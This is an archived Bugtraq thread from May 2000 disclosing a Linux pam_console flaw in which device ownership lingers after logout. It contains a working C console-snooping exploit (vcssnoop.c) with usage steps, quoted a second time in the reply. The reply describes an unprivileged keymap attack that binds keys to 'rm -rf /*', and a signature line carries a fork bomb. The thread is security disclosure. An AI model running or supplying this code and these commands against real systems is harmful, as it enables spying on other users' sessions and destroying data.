5060213 2000-05-03 19:33 /63 rader/ Postmaster
Mottagare: Bugtraq (import) <10717>
Ärende: pam_console bug
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Sender: lcamtuf@localhost
X-Nmymbofr: Nir Orb Buk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.10.10005022222200.754-100000@localhost>
Date: Tue, 2 May 2000 22:23:44 +0200
Reply-To: Michal Zalewski <lcamtuf@TPI.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Michal Zalewski <lcamtuf@TPI.PL>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
When accepting luser console login, pam_console called by /bin/login
tries to be user-friendly, doing several chowns on devices like login
tty and corresponding vcs[a] device, as well as other interesting
devices: fd*, audio devices (dsp*, mixer*, audio*, midi*, sequencer),
cdrom, streamer/zip drive devices, frame buffer devices, kbd*, js*,
video*, radio*, winradio*, vtx*, vbi* and so on. Probably it's
designed to make console logins more comfortable, but has DEADLY
effects on servers with console luser-login ability (and that's quite
common).
On logout, these devices are chown'ed back to root, but unlike
/dev/tty[0-9], these devices have no hangup mechanism, so user will
have full control over them after logout by opening them and then
keeping the file descriptor. The easiest attack is read-write
snooping of consoles. Log in on console once, open /dev/vcsX (where
X corresponds to tty number), then logout. By continous lseek/read
loop, your program will be able to snoop futher logins on this
console - forever. Also, it's possible to write() on snooped
console... Ugh. Other possibilities include reading any inserted cd,
reading/writing any inserted floppy, messing with video/audio devices
and so on, all in the same way.
Minimal tty snoop exploit:
-- vcssnoop.c --
#include <sys/fcntl.h>
main(int argc,char*argv[]) {
char buf[80*24];
int f=open(argv[1],O_RDWR);
while (1) {
lseek(f,0,0);
read(f,buf,sizeof(buf));
write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi
write(1,buf,sizeof(buf));
usleep(10000);
}
}
-- EOF --
Log onto console, let's say it's tty3. Then, compile and launch this
program via screen, giving path to vcs device corresponding to your
login tty (in this case, /dev/tty3). Then, detach this screen and
logout. Wait some time, log in remotely to your account and resume
screen session. You should see real-time tty3 dump.
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5060213) ------------------------------------------(Ombruten)
5068774 2000-05-06 22:55 /119 rader/ Postmaster
Mottagare: Bugtraq (import) <10765>
Ärende: Re: pam_console bug
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <3910D15E.AF844055@one.net.au>
Date: Thu, 4 May 2000 11:24:46 +1000
Reply-To: ben.smee@one.net.au
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Benjamin Smee <ben.smee@one.net.au>
Organization: One.Tel
X-To: Michal Zalewski <lcamtuf@TPI.PL>
X-cc: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Heya,
actually I found something similar to this a while back in relation to
the keymaps in RH6.1. I dont know if any other distro's / version are
vulnerable but i could execute the following style of attack.
Login (this only worked when logging in on Console) as a normal user. I
could then write up a keymap which had strategic keys bound to "rm -rf
/*" for example the tilda key. I could then execute the command (on a
default Redhat 6.1 at any rate)
bash$ loadkeys example.kmap
As a NORMAL user this would load the keymap for ALL
consoles. Initially I didnt think it was anything new as in the man
page I found:
BUGS
Note that anyone having read access to /dev/console can
run loadkeys and thus change the keyboard layout, possibly
making it unusable. Note that the keyboard translation
table is common for all the virtual consoles, so any
changes to the keyboard bindings affect all the virtual
consoles simultaneously.
but then i checked the permissions ....
[~]$ ls -la /dev/console
crw------- 1 root root 5, 1 May 2 09:58 /dev/console
[bsmee]-[pts/2]-[maelstrom]-[11:13:02]-[05/04/00]
[~]$
Needless to say a normal user should not have permissions to do this
for the entire console. I leave it as an excercise to the reader (in
true bugtraq style) to work out some more creative ways to leverage
root from there :)
FYI: I found this issue about a week after RH6.1 was released but
never had the time to write it up. I was going to do an official
"advisory" style thing and write down a lot more technical detail but
i cant be bothered now :P
Greetz: Black ICE, ADM and the ITAC crew :P
Michal Zalewski wrote:
>
> When accepting luser console login, pam_console called by /bin/login tries
> to be user-friendly, doing several chowns on devices like login tty and
> corresponding vcs[a] device, as well as other interesting devices: fd*,
> audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom,
> streamer/zip drive devices, frame buffer devices, kbd*, js*, video*,
> radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make
> console logins more comfortable, but has DEADLY effects on servers with
> console luser-login ability (and that's quite common).
>
> On logout, these devices are chown'ed back to root, but unlike
> /dev/tty[0-9], these devices have no hangup mechanism, so user will have
> full control over them after logout by opening them and then keeping the
> file descriptor. The easiest attack is read-write snooping of consoles.
> Log in on console once, open /dev/vcsX (where X corresponds to tty
> number), then logout. By continous lseek/read loop, your program will be
> able to snoop futher logins on this console - forever. Also, it's possible
> to write() on snooped console... Ugh. Other possibilities include reading
> any inserted cd, reading/writing any inserted floppy, messing with
> video/audio devices and so on, all in the same way.
>
> Minimal tty snoop exploit:
>
> -- vcssnoop.c --
> #include <sys/fcntl.h>
>
> main(int argc,char*argv[]) {
> char buf[80*24];
> int f=open(argv[1],O_RDWR);
> while (1) {
> lseek(f,0,0);
> read(f,buf,sizeof(buf));
> write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi
> write(1,buf,sizeof(buf));
> usleep(10000);
> }
> }
> -- EOF --
>
> Log onto console, let's say it's tty3. Then, compile and launch this
> program via screen, giving path to vcs device corresponding to your login
> tty (in this case, /dev/tty3). Then, detach this screen and logout. Wait
> some time, log in remotely to your account and resume screen session. You
> should see real-time tty3 dump.
>
> _______________________________________________________
> Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
> [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
> =-----=> God is real, unless declared integer. <=-----=
--
Benjamin Smee
ben.smee@one.net.au or ben.smee@onetel.com.au
308440@pager.link.com.au
+61-2-95139346
(5068774) ------------------------------------------(Ombruten)